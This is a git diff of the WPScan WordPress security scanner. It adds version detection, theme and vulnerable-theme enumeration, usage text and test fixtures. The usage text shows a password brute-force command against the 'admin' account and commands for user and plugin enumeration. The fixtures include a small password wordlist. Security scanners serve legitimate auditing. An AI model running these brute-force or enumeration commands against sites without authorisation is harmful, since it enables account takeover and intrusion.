-    Browser.instance.get(target_uri.merge("sitemap.xml").to_s).body[%r{generator="wordpress/#{WpVersion.version_pattern}"}, 1]
+  def self.find_from_sitemap_generator(options)
+    target_uri = options[:base_url]
+    Browser.instance.get(target_uri.merge("sitemap.xml").to_s).body[%r{generator="wordpress/#{WpVersion.version_pattern}"}i, 1]
   end
 
-  # Used to check if the version is correct : should be numeric with at least one '.'
+  def self.find_from_links_opml(options)
+    target_uri = options[:base_url]
+    Browser.instance.get(target_uri.merge("wp-links-opml.php").to_s).body[%r{generator="wordpress/#{WpVersion.version_pattern}"}i, 1]
+  end
+
+  # Used to check if the version is correct : must contain at least one .
   def self.version_pattern
-    '(.*(?=.)(?=.*\d)(?=.*[.]).*)'
+    '([^\r\n]+[\.][^\r\n]+)'
   end
 end
diff --git a/lib/wpscan/wp_vulnerability.rb b/lib/wpscan/wp_vulnerability.rb
index c3e9dd6c..4c40d212 100644
--- a/lib/wpscan/wp_vulnerability.rb
+++ b/lib/wpscan/wp_vulnerability.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,14 +14,14 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 class WpVulnerability
   attr_accessor :title, :reference, :type
 
   def initialize(title, reference, type)
-    @title     = title
-    @reference = reference
-    @type      = type
+    @title      = title
+    @reference  = reference
+    @type       = type
   end
 end
diff --git a/lib/wpscan/wpscan_helper.rb b/lib/wpscan/wpscan_helper.rb
index b1b92481..6daeec1e 100644
--- a/lib/wpscan/wpscan_helper.rb
+++ b/lib/wpscan/wpscan_helper.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/../common_helper')
 
 require_files_from_directory(WPSCAN_LIB_DIR, "**/*.rb")
@@ -18,9 +36,18 @@ def usage()
   puts "-Do wordlist password brute force on the 'admin' username only ..."
   puts "ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --username admin"
   puts
-  puts "-Enumerate instaled plugins ..."
+  puts "-Enumerate installed plugins ..."
   puts "ruby #{script_name} --url www.example.com --enumerate p"
   puts
+  puts "-Enumerate installed themes ..."
+  puts "ruby #{script_name} --url www.example.com --enumerate T"
+  puts
+  puts "-Enumerate users ..."
+  puts "ruby #{script_name} --url www.example.com --enumerate u"
+  puts
+  puts "-Enumerate installed timthumbs ..."
+  puts "ruby #{script_name} --url www.example.com --enumerate t"
+  puts
   puts "-Use a HTTP proxy ..."
   puts "ruby #{script_name} --url www.example.com --proxy 127.0.0.1:8118"
   puts
@@ -30,6 +57,9 @@ def usage()
   puts "-Use custom content directory ..."
   puts "ruby #{script_name} -u www.example.com --wp-content-dir custom-content"
   puts
+  puts "-Use custom plugins directory ..."
+  puts "ruby #{script_name} -u www.example.com --wp-plugins-dir wp-content/custom-plugins"
+  puts
   puts "-Update ..."
   puts "ruby #{script_name} --update"
   puts
@@ -54,6 +84,8 @@ def help()
   puts "    p        plugins"
   puts "    p!       only vulnerable plugins"
   puts "    t        timthumbs"
+  puts "    T        themes"
+  puts "    T!       only vulnerable themes"
   puts "  Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins"
   puts "  If no option is supplied, the default is 'tup!'"
   puts
diff --git a/lib/wpscan/wpscan_options.rb b/lib/wpscan/wpscan_options.rb
index 7aa24c51..34942ca3 100644
--- a/lib/wpscan/wpscan_options.rb
+++ b/lib/wpscan/wpscan_options.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,30 +14,32 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 class WpscanOptions
 
   ACCESSOR_OPTIONS = [
-    :enumerate_plugins,
-    :enumerate_only_vulnerable_plugins,
-    :enumerate_timthumbs,
-    :enumerate_usernames,
-    :enumerate_usernames_range,
-    :proxy,
-    :threads,
-    :url,
-    :wordlist,
-    :force,
-    :update,
-    :verbose,
-    :username,
-    :password,
-    :follow_redirection,
-    :wp_content_dir,
-    :wp_plugins_dir,
-    :help,
-    :config_file
+      :enumerate_plugins,
+      :enumerate_only_vulnerable_plugins,
+      :enumerate_themes,
+      :enumerate_only_vulnerable_themes,
+      :enumerate_timthumbs,
+      :enumerate_usernames,
+      :enumerate_usernames_range,
+      :proxy,
+      :threads,
+      :url,
+      :wordlist,
+      :force,
+      :update,
+      :verbose,
+      :username,
+      :password,
+      :follow_redirection,
+      :wp_content_dir,
+      :wp_plugins_dir,
+      :help,
+      :config_file
   ]
 
   attr_accessor *ACCESSOR_OPTIONS
@@ -88,6 +90,22 @@ class WpscanOptions
     end
   end
 
+  def enumerate_themes=(enumerate_themes)
+    if enumerate_themes === true and @enumerate_only_vulnerable_themes === true
+      raise "You can't enumerate themes and only vulnerable themes at the same time, please choose only one"
+    else
+      @enumerate_themes = enumerate_themes
+    end
+  end
+
+  def enumerate_only_vulnerable_themes=(enumerate_only_vulnerable_themes)
+    if enumerate_only_vulnerable_themes === true and @enumerate_themes === true
+      raise "You can't enumerate themes and only vulnerable themes at the same time, please choose only one"
+    else
+      @enumerate_only_vulnerable_themes = enumerate_only_vulnerable_themes
+    end
+  end
+
   def has_options?
     !to_h.empty?
   end
@@ -113,7 +131,7 @@ class WpscanOptions
 
     if ARGV.length > 0
       WpscanOptions.get_opt_long.each do |opt, arg|
-       wpscan_options.set_option_from_cli(opt, arg)
+        wpscan_options.set_option_from_cli(opt, arg)
       end
     end
 
@@ -126,12 +144,12 @@ class WpscanOptions
 
     if WpscanOptions.is_long_option?(cli_option)
       self.send(
-        WpscanOptions.option_to_instance_variable_setter(cli_option),
-        cli_value
+          WpscanOptions.option_to_instance_variable_setter(cli_option),
+          cli_value
       )
     elsif cli_option === "--enumerate" # Special cases
-      # Default value if no argument is given
-      cli_value = "tup!" if cli_value.length == 0
+                                       # Default value if no argument is given
+      cli_value = "T!tup!" if cli_value.length == 0
 
       enumerate_options_from_string(cli_value)
     else
@@ -151,10 +169,15 @@ class WpscanOptions
 
     @enumerate_timthumbs = true if value =~ /t/
 
+    self.enumerate_only_vulnerable_themes = true if value =~ /T!/
+
+    self.enumerate_themes = true if value =~ /T(?!!)/
+
     if value =~ /u/
       @enumerate_usernames = true
       # Check for usernames range
-      if matches = %r{\[([\d]+)-([\d]+)\]}.match(value)
+      matches = %r{\[([\d]+)-([\d]+)\]}.match(value)
+      if matches
         @enumerate_usernames_range = (matches[1].to_i..matches[2].to_i)
       end
     end
@@ -165,20 +188,20 @@ class WpscanOptions
   # Even if a short option is given (IE : -u), the long one will be returned (IE : --url)
   def self.get_opt_long
     GetoptLong.new(
-      ["--url", "-u", GetoptLong::REQUIRED_ARGUMENT],
-      ["--enumerate", "-e", GetoptLong::OPTIONAL_ARGUMENT],
-      ["--username", "-U", GetoptLong::REQUIRED_ARGUMENT],
-      ["--wordlist", "-w", GetoptLong::REQUIRED_ARGUMENT],
-      ["--threads", "-t",GetoptLong::REQUIRED_ARGUMENT],
-      ["--force", "-f",GetoptLong::NO_ARGUMENT],
-      ["--help", "-h", GetoptLong::NO_ARGUMENT],
-      ["--verbose", "-v", GetoptLong::NO_ARGUMENT] ,
-      ["--proxy", GetoptLong::OPTIONAL_ARGUMENT],
-      ["--update", GetoptLong::NO_ARGUMENT],
-      ["--follow-redirection", GetoptLong::NO_ARGUMENT],
-      ["--wp-content-dir", GetoptLong::REQUIRED_ARGUMENT],
-      ["--wp-plugins-dir", GetoptLong::REQUIRED_ARGUMENT],
-      ["--config-file", "-c", GetoptLong::REQUIRED_ARGUMENT]
+        ["--url", "-u", GetoptLong::REQUIRED_ARGUMENT],
+        ["--enumerate", "-e", GetoptLong::OPTIONAL_ARGUMENT],
+        ["--username", "-U", GetoptLong::REQUIRED_ARGUMENT],
+        ["--wordlist", "-w", GetoptLong::REQUIRED_ARGUMENT],
+        ["--threads", "-t", GetoptLong::REQUIRED_ARGUMENT],
+        ["--force", "-f", GetoptLong::NO_ARGUMENT],
+        ["--help", "-h", GetoptLong::NO_ARGUMENT],
+        ["--verbose", "-v", GetoptLong::NO_ARGUMENT],
+        ["--proxy", GetoptLong::OPTIONAL_ARGUMENT],
+        ["--update", GetoptLong::NO_ARGUMENT],
+        ["--follow-redirection", GetoptLong::NO_ARGUMENT],
+        ["--wp-content-dir", GetoptLong::REQUIRED_ARGUMENT],
+        ["--wp-plugins-dir", GetoptLong::REQUIRED_ARGUMENT],
+        ["--config-file", "-c", GetoptLong::REQUIRED_ARGUMENT]
     )
   end
 
@@ -198,7 +221,7 @@ class WpscanOptions
 
   def self.option_to_instance_variable_setter(option)
     cleaned_option = WpscanOptions.clean_option(option)
-    option_syms    = ACCESSOR_OPTIONS.grep(%r{^#{cleaned_option}})
+    option_syms = ACCESSOR_OPTIONS.grep(%r{^#{cleaned_option}})
 
     option_syms.length == 1 ? :"#{option_syms.at(0)}=" : nil
   end
diff --git a/lib/wpstools/generate_list.rb b/lib/wpstools/generate_list.rb
index 05a086e7..c09e35b1 100644
--- a/lib/wpstools/generate_list.rb
+++ b/lib/wpstools/generate_list.rb
@@ -1,6 +1,6 @@
 #!/usr/bin/env ruby
 
-#
+#--
 # WPScan - WordPress Security Scanner
 # Copyright (C) 2012
 #
@@ -16,6 +16,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
 
 # This tool generates a list to use for plugin and theme enumeration
 class Generate_List
@@ -25,37 +26,37 @@ class Generate_List
   # type = themes | plugins
   def initialize(type, verbose)
     if type =~ /plugins/i
-      @type = "plugin"
-      @svn_url = 'http://plugins.svn.wordpress.org/'
-      @file_name = DATA_DIR + '/plugins.txt'
-      @popular_url = 'http://wordpress.org/extend/plugins/browse/popular/'
-      @popular_regex = %r{<h3><a href="http://wordpress.org/extend/plugins/(.+)/">.+</a></h3>}i
+      @type           = "plugin"
+      @svn_url        = 'http://plugins.svn.wordpress.org/'
+      @file_name      = DATA_DIR + '/plugins.txt'
+      @popular_url    = 'http://wordpress.org/extend/plugins/browse/popular/'
+      @popular_regex  = %r{<h3><a href="http://wordpress.org/extend/plugins/(.+)/">.+</a></h3>}i
     elsif type =~ /themes/i
-      @type = "theme"
-      @svn_url = 'http://themes.svn.wordpress.org/'
-      @file_name = DATA_DIR + '/themes.txt'
-      @popular_url = 'http://wordpress.org/extend/themes/browse/popular/'
-      @popular_regex = %r{<h3><a href="http://wordpress.org/extend/themes/(.+)">.+</a></h3>}i
+      @type           = "theme"
+      @svn_url        = 'http://themes.svn.wordpress.org/'
+      @file_name      = DATA_DIR + '/themes.txt'
+      @popular_url    = 'http://wordpress.org/extend/themes/browse/popular/'
+      @popular_regex  = %r{<h3><a href="http://wordpress.org/extend/themes/(.+)">.+</a></h3>}i
     else
       raise "Type #{type} not defined"
     end
-    @verbose = verbose
-    @browser = Browser.instance
-    @hydra = @browser.hydra
+    @verbose  = verbose
+    @browser  = Browser.instance
+    @hydra    = @browser.hydra
   end
 
   def generate_full_list
     items = Svn_Parser.new(@svn_url, @verbose).parse
     save items
   end
-  
+
   def generate_popular_list(pages)
     popular = get_popular_items(pages)
     items = Svn_Parser.new(@svn_url, @verbose).parse(popular)
     save items
   end
-  
-  
+
+
   # Send a HTTP request to the WordPress most popular theme or plugin webpage
   # parse the response for the names.
   def get_popular_items(pages)
@@ -82,17 +83,16 @@ class Generate_List
       @hydra.queue(request)
 
       if queue_count == @browser.max_threads
-         @hydra.run
-         queue_count = 0
-       end
+        @hydra.run
+        queue_count = 0
+      end
 
     end
 
     @hydra.run
 
     found_items.sort!
-    found_items.uniq!
-    return found_items
+    found_items.uniq
   end
 
   # Save the file
diff --git a/lib/wpstools/parse_svn.rb b/lib/wpstools/parse_svn.rb
index 4c78cbf3..835909f2 100644
--- a/lib/wpstools/parse_svn.rb
+++ b/lib/wpstools/parse_svn.rb
@@ -1,6 +1,6 @@
 #!/usr/bin/env ruby
 
-#
+#--
 # WPScan - WordPress Security Scanner
 # Copyright (C) 2012
 #
@@ -16,6 +16,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
 
 # This Class Parses SVN Repositories via HTTP
 class Svn_Parser
@@ -23,22 +24,24 @@ class Svn_Parser
   attr_accessor :verbose, :svn_root, :keep_empty_dirs
 
   def initialize(svn_root, verbose, keep_empty_dirs = false)
-    @svn_root = svn_root
-    @verbose = verbose
-    @keep_empty_dirs = keep_empty_dirs
-    @svn_browser = Browser.instance
-    @svn_hydra = @svn_browser.hydra
+    @svn_root         = svn_root
+    @verbose          = verbose
+    @keep_empty_dirs  = keep_empty_dirs
+    @svn_browser      = Browser.instance
+    @svn_hydra        = @svn_browser.hydra
   end
-  
+
   def parse(dirs=nil)
     if dirs == nil
       dirs = get_root_directories
     end
     urls = get_svn_project_urls(dirs)
-    entries = get_svn_file_entries(urls)
-    return entries
+    get_svn_file_entries(urls)
   end
 
+  #Private methods start here
+  private
+
   # Gets all directories in the SVN root
   def get_root_directories
     dirs = []
@@ -47,8 +50,7 @@ class Svn_Parser
       dirs << dir[0]
     end
     dirs.sort!
-    dirs.uniq!
-    return dirs
+    dirs.uniq
   end
 
   def get_svn_project_urls(dirs)
@@ -62,14 +64,14 @@ class Svn_Parser
         # trunk folder present
         if contains_trunk(response)
           puts "[+] Adding trunk on #{dir}" if @verbose
-          urls << { :name => dir, :folder => "trunk"}
-        # no trunk folder. This is true on theme svn repos
+          urls << {:name => dir, :folder => "trunk"}
+          # no trunk folder. This is true on theme svn repos
         else
           folders = response.body.scan(%r{^\s*<li><a href="(.+)/">.+/</a></li>$}i)
           if folders != nil and folders.length > 0
             last_version = folders.last[0]
             puts "[+] Adding #{last_version} on #{dir}" if @verbose
-            urls << { :name => dir, :folder => last_version}
+            urls << {:name => dir, :folder => last_version}
           else
             puts "[+] No content in #{dir}" if @verbose
           end
@@ -85,10 +87,11 @@ class Svn_Parser
       end
     end
     @svn_hydra.run
-    return urls
+    urls
   end
-  
+
   # Get a file in each directory
+  # TODO: exclude files like Thumbs.db (Example: wordpress-23-related-posts-plugin/)
   def get_svn_file_entries(dirs)
     entries = []
     queue_count = 0
@@ -119,7 +122,7 @@ class Svn_Parser
       end
     end
     @svn_hydra.run
-    return entries
+    entries
   end
 
   def contains_trunk(body)
@@ -127,6 +130,6 @@ class Svn_Parser
     if !!(body =~ %r[<li><a href="trunk/">trunk/</a></li>]i)
       contains = true
     end
-    return contains
+    contains
   end
 end
diff --git a/lib/wpstools/wpstools_helper.rb b/lib/wpstools/wpstools_helper.rb
index 68823652..e1c7793a 100644
--- a/lib/wpstools/wpstools_helper.rb
+++ b/lib/wpstools/wpstools_helper.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 require File.expand_path(File.dirname(__FILE__) + '/../common_helper')
 
 require_files_from_directory(WPSTOOLS_LIB_DIR)
@@ -35,7 +53,7 @@ def help()
   puts "--gpl  Alias for --generate_plugin_list"
   puts "--generate_full_plugin_list  Generate a new full data/plugins.txt file"
   puts "--gfpl  Alias for --generate_full_plugin_list"
-  
+
   puts "--generate_theme_list [number of pages]  Generate a new data/themes.txt file. (supply number of *pages* to parse, default : 150)"
   puts "--gtl  Alias for --generate_theme_list"
   puts "--generate_full_theme_list  Generate a new full data/themes.txt file"
diff --git a/spec/fixtures/wpscan/modules/bruteforce/wordlist.txt b/spec/fixtures/wpscan/modules/bruteforce/wordlist.txt
new file mode 100644
index 00000000..d8e75315
--- /dev/null
+++ b/spec/fixtures/wpscan/modules/bruteforce/wordlist.txt
@@ -0,0 +1,6 @@
+password1
+password2
+pa55w0rd
+# comment
+admin
+root
\ No newline at end of file
diff --git a/spec/fixtures/wpscan/modules/wp_themes/passive_detection/no_theme.htm b/spec/fixtures/wpscan/modules/wp_themes/passive_detection/no_theme.htm
new file mode 100644
index 00000000..25d941db
--- /dev/null
+++ b/spec/fixtures/wpscan/modules/wp_themes/passive_detection/no_theme.htm
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <title></title>
+</head>
+<body>
+
+</body>
+</html>
\ No newline at end of file
diff --git a/spec/fixtures/wpscan/modules/wp_themes/passive_detection/one_theme.htm b/spec/fixtures/wpscan/modules/wp_themes/passive_detection/one_theme.htm
new file mode 100644
index 00000000..7a7e2d76
--- /dev/null
+++ b/spec/fixtures/wpscan/modules/wp_themes/passive_detection/one_theme.htm
@@ -0,0 +1,179 @@
+
+<!DOCTYPE html>
+<html dir="ltr" lang="en-US">
+<head>
+    <meta charset="UTF-8" />
+    <title>ddd</title>
+    <link rel="profile" href="http://gmpg.org/xfn/11" />
+    <link rel="stylesheet" type="text/css" media="all" href="http://10.211.55.8/wordpress/wp-content/themes/custom-twentyten/style.css" />
+    <link rel="pingback" href="http://10.211.55.8/wordpress/xmlrpc.php" />
+    <meta name='robots' content='noindex,nofollow' />
+    <link rel="alternate" type="application/rss+xml" title="test &raquo; Feed" href="http://10.211.55.8/wordpress/?feed=rss2" />
+    <link rel="alternate" type="application/rss+xml" title="test &raquo; Comments Feed" href="http://10.211.55.8/wordpress/?feed=comments-rss2" />
+    <!-- AL2FB CSS -->
+    <style type="text/css" media="screen">
+        .al2fb_widget_comments { }
+        .al2fb_widget_comments li { }
+        .al2fb_widget_picture { width: 32px; height: 32px; }
+        .al2fb_widget_name { }
+        .al2fb_widget_comment { }
+        .al2fb_widget_date { font-size: smaller; }
+    </style>
+    <link rel='stylesheet' id='al2fb_style-css'  href='http://10.211.55.8/wordpress/wp-content/plugins/add-link-to-facebook/add-link-to-facebook.css?ver=3.3.1' type='text/css' media='all' />
+    <link rel='stylesheet' id='events-manager-css'  href='http://10.211.55.8/wordpress/wp-content/plugins/events-manager/includes/css/events_manager.css?ver=3.3.1' type='text/css' media='all' />
+    <link rel='stylesheet' id='NextGEN-css'  href='http://10.211.55.8/wordpress/wp-content/plugins/nextgen-gallery/css/nggallery.css?ver=1.0.0' type='text/css' media='screen' />
+    <link rel='stylesheet' id='shutter-css'  href='http://10.211.55.8/wordpress/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.css?ver=1.3.4' type='text/css' media='screen' />
+    <link rel='stylesheet' id='contact-form-7-css'  href='http://10.211.55.8/wordpress/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=3.2.1' type='text/css' media='all' />
+    <link rel='stylesheet' id='cntctfrmStylesheet-css'  href='http://10.211.55.8/wordpress/wp-content/plugins/contact-form-plugin/css/style.css?ver=3.3.1' type='text/css' media='all' />
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/jquery.js?ver=1.7.1'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.core.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.widget.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.position.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.mouse.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.sortable.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.datepicker.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.autocomplete.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.resizable.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.draggable.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.button.min.js?ver=1.8.16'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-includes/js/jquery/ui/jquery.ui.dialog.min.js?ver=1.8.16'></script>
+    <script type='text/javascript'>
+        /* <![CDATA[ */
+        var EM = {"ajaxurl":"http:\/\/10.211.55.8\/wordpress\/wp-admin\/admin-ajax.php","bookingajaxurl":"http:\/\/10.211.55.8\/wordpress\/wp-admin\/admin-ajax.php","locationajaxurl":"http:\/\/10.211.55.8\/wordpress\/wp-admin\/admin-ajax.php?action=locations_search","firstDay":"1","locale":"en","dateFormat":"dd\/mm\/yy","bookingInProgress":"Please wait while the booking is being submitted.","ui_css":"http:\/\/10.211.55.8\/wordpress\/wp-content\/plugins\/events-manager\/includes\/css\/ui-lightness.css","show24hours":"","is_ssl":"","tickets_save":"Save Ticket","bookings_export_save":"Export Bookings","bookings_settings_save":"Save Settings","booking_delete":"Are you sure you want to delete?","bb_full":"Sold Out","bb_book":"Book Now","bb_booking":"Booking...","bb_booked":"Booking Submitted","bb_error":"Booking Error. Try again?","bb_cancel":"Cancel","bb_canceling":"Canceling...","bb_cancelled":"Cancelled","bb_cancel_error":"Cancellation Error. Try again?","txt_search":"Search","txt_searching":"Searching...","txt_loading":"Loading..."};
+        /* ]]> */
+    </script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-content/plugins/events-manager/includes/js/events-manager.js?ver=3.3.1'></script>
+    <script type='text/javascript'>
+        /* <![CDATA[ */
+        var shutterSettings = {"msgLoading":"L O A D I N G","msgClose":"Click to Close","imageCount":"1"};
+        /* ]]> */
+    </script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.js?ver=1.3.3'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-content/plugins/nextgen-gallery/js/jquery.cycle.all.min.js?ver=2.9995'></script>
+    <script type='text/javascript' src='http://10.211.55.8/wordpress/wp-content/plugins/nextgen-gallery/js/ngg.slideshow.min.js?ver=1.06'></script>
+    <link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://10.211.55.8/wordpress/xmlrpc.php?rsd" />
+    <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://10.211.55.8/wordpress/wp-includes/wlwmanifest.xml" />
+    <meta name="generator" content="WordPress 3.3.1" />
+
+    <!-- All in One SEO Pack 1.6.15 by Michael Torbert of Semper Fi Web Design[78,119] -->
+    <meta name="description" content="ddddd" />
+    <meta name="keywords" content="dd" />
+    <link rel="canonical" href="http://10.211.55.8/wordpress/" />
+    <!-- /all in one seo pack -->
+    <!-- <meta name="NextGEN" version="1.9.6" /> -->
+    <script charset="utf-8" type="text/javascript">var switchTo5x=true;</script><script charset="utf-8" type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script><script type="text/javascript">stLight.options({publisher:'wp.d54da82c-32aa-4efc-ab15-d4e2ed4f0b4d'});var st_type='wordpress3.3.1';</script></head>
+
+<body class="home blog">
+<div id="wrapper" class="hfeed">
+    <div id="header">
+        <div id="masthead">
+            <div id="branding" role="banner">
+                <h1 id="site-title">
+					<span>
+						<a href="http://10.211.55.8/wordpress/" title="test" rel="home">test</a>
+					</span>
+                </h1>
+                <div id="site-description">Just another WordPress site</div>
+
+                <img src="http://10.211.55.8/wordpress/wp-content/themes/custom-twentyten/images/headers/path.jpg" width="940" height="198" alt="" />
+            </div><!-- #branding -->
+
+            <div id="access" role="navigation">
+                <div class="skip-link screen-reader-text"><a href="#content" title="Skip to content">Skip to content</a></div>
+                <div class="menu"><ul><li class="current_page_item"><a href="http://10.211.55.8/wordpress/" title="Home">Home</a></li><li class="page_item page-item-11"><a href="http://10.211.55.8/wordpress/?page_id=11">Events</a><ul class='children'><li class="page_item page-item-13"><a href="http://10.211.55.8/wordpress/?page_id=13">Categories</a></li><li class="page_item page-item-12"><a href="http://10.211.55.8/wordpress/?page_id=12">Locations</a></li><li class="page_item page-item-14"><a href="http://10.211.55.8/wordpress/?page_id=14">My Bookings</a></li></ul></li><li class="page_item page-item-2"><a href="http://10.211.55.8/wordpress/?page_id=2">Sample Page</a></li></ul></div>
+            </div><!-- #access -->
+        </div><!-- #masthead -->
+    </div><!-- #header -->
+
+    <div id="main">
+
+        <div id="container">
+            <div id="content" role="main">
+
+
+
+
+
+
+                <div id="post-1" class="post-1 post type-post status-publish format-standard hentry category-uncategorized">
+                    <h2 class="entry-title"><a href="http://10.211.55.8/wordpress/?p=1" title="Permalink to Hello world!" rel="bookmark">Hello world!</a></h2>
+
+                    <div class="entry-meta">
+                        <span class="meta-prep meta-prep-author">Posted on</span> <a href="http://10.211.55.8/wordpress/?p=1" title="8:41 pm" rel="bookmark"><span class="entry-date">September 15, 2012</span></a> <span class="meta-sep">by</span> <span class="author vcard"><a class="url fn n" href="http://10.211.55.8/wordpress/?author=1" title="View all posts by admin">admin</a></span>			</div><!-- .entry-meta -->
+
+                    <div class="entry-content">
+                        <p>Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!</p>
+                        <p><span class='st_facebook_buttons' st_title='Hello world!' st_url='http://10.211.55.8/wordpress/?p=1' displayText='Facebook'></span><span class='st_twitter_buttons' st_title='Hello world!' st_url='http://10.211.55.8/wordpress/?p=1' displayText='Twitter'></span><span class='st_email_buttons' st_title='Hello world!' st_url='http://10.211.55.8/wordpress/?p=1' displayText='Email'></span><span class='st_sharethis_buttons' st_title='Hello world!' st_url='http://10.211.55.8/wordpress/?p=1' displayText='ShareThis'></span><span class='st_fblike_buttons' st_title='Hello world!' st_url='http://10.211.55.8/wordpress/?p=1' displayText='Facebook Like'></span><span class='st_plusone_buttons' st_title='Hello world!' st_url='http://10.211.55.8/wordpress/?p=1' displayText='Google +1'></span><span class='st_pinterest _buttons' st_title='Hello world!' st_url='http://10.211.55.8/wordpress/?p=1' displayText='Pinterest'></span></p>							</div><!-- .entry-content -->
+
+                    <div class="entry-utility">
+									<span class="cat-links">
+						<span class="entry-utility-prep entry-utility-prep-cat-links">Posted in</span> <a href="http://10.211.55.8/wordpress/?cat=1" title="View all posts in Uncategorized" rel="category">Uncategorized</a>					</span>
+                        <span class="meta-sep">|</span>
+                        <span class="comments-link"><a href="http://10.211.55.8/wordpress/?p=1#comments" title="Comment on Hello world!">1 Comment</a></span>
+                    </div><!-- .entry-utility -->
+                </div><!-- #post-## -->
+
+
+
+
+            </div><!-- #content -->
+        </div><!-- #container -->
+
+
+        <div id="primary" class="widget-area" role="complementary">
+            <ul class="xoxo">
+
+                <li id="search-2" class="widget-container widget_search"><form role="search" method="get" id="searchform" action="http://10.211.55.8/wordpress/" >
+                    <div><label class="screen-reader-text" for="s">Search for:</label>
+                        <input type="text" value="" name="s" id="s" />
+                        <input type="submit" id="searchsubmit" value="Search" />
+                    </div>
+                </form></li>		<li id="recent-posts-2" class="widget-container widget_recent_entries">		<h3 class="widget-title">Recent Posts</h3>		<ul>
+                <li><a href="http://10.211.55.8/wordpress/?p=1" title="Hello world!">Hello world!</a></li>
+            </ul>
+            </li><li id="recent-comments-2" class="widget-container widget_recent_comments"><h3 class="widget-title">Recent Comments</h3><ul id="recentcomments"><li class="recentcomments"><a href='http://wordpress.org/' rel='external nofollow' class='url'>Mr WordPress</a> on <a href="http://10.211.55.8/wordpress/?p=1#comment-1">Hello world!</a></li></ul></li><li id="archives-2" class="widget-container widget_archive"><h3 class="widget-title">Archives</h3>		<ul>
+                <li><a href='http://10.211.55.8/wordpress/?m=201209' title='September 2012'>September 2012</a></li>
+            </ul>
+            </li><li id="categories-2" class="widget-container widget_categories"><h3 class="widget-title">Categories</h3>		<ul>
+                <li class="cat-item cat-item-1"><a href="http://10.211.55.8/wordpress/?cat=1" title="View all posts filed under Uncategorized">Uncategorized</a>
+                </li>
+            </ul>
+            </li><li id="meta-2" class="widget-container widget_meta"><h3 class="widget-title">Meta</h3>			<ul>
+                <li><a href="http://10.211.55.8/wordpress/wp-login.php">Log in</a></li>
+                <li><a href="http://10.211.55.8/wordpress/?feed=rss2" title="Syndicate this site using RSS 2.0">Entries <abbr title="Really Simple Syndication">RSS</abbr></a></li>
